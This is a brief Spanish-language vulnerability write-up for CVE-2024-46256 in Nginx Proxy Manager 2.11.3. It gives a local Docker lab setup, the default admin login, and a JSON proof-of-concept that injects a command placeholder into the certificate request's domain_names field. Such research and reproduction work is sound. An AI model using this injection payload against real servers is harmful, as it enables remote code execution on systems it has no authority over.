Análisis de la vulnerabilidad RCE CVE-2024-46256 en Nginx Proxy Manager

Configuración del entorno

1. Ejecutar el entorno de Nginx Proxy Manager 2.11.3

docker-compose up -d

O puede usar el script automático:

python setup_environment.py

2. Acceso a Nginx Proxy Manager

• URL: http://localhost:81

• Realice las pruebas después de completar la configuración inicial.

• Inicie sesión con la cuenta de administrador predeterminada (correo electrónico: [email protected] / contraseña: changeme)

• Verifique los permisos de acceso a las funciones relacionadas con la emisión de certificados.

Información de la vulnerabilidad

• CVE ID: CVE-2024-46256

• Producto: Nginx Proxy Manager

• Versión: 2.11.3

• Tipo de vulnerabilidad: Remote Code Execution (RCE)

• CVSS: High

Código PoC

El PoC demuestra que un usuario autenticado puede provocar RCE al inyectar plantillas/comandos en el campo de nombre de dominio durante el proceso de solicitud de emisión de certificados (por ejemplo, Let's Encrypt).

Ejemplo de payload (ejemplo conceptual):

{
  "domain_names": ["test.com\"||{command}||\\n test.com\""],
  "meta": {
    "dns_challenge": false,
    "letsencrypt_agree": true,
    "letsencrypt_email": "[email protected]"
  },
  "provider": "letsencrypt"
}

Entorno de análisis

• OS: Windows 10

• Docker: última versión

• Nginx Proxy Manager: 2.11.3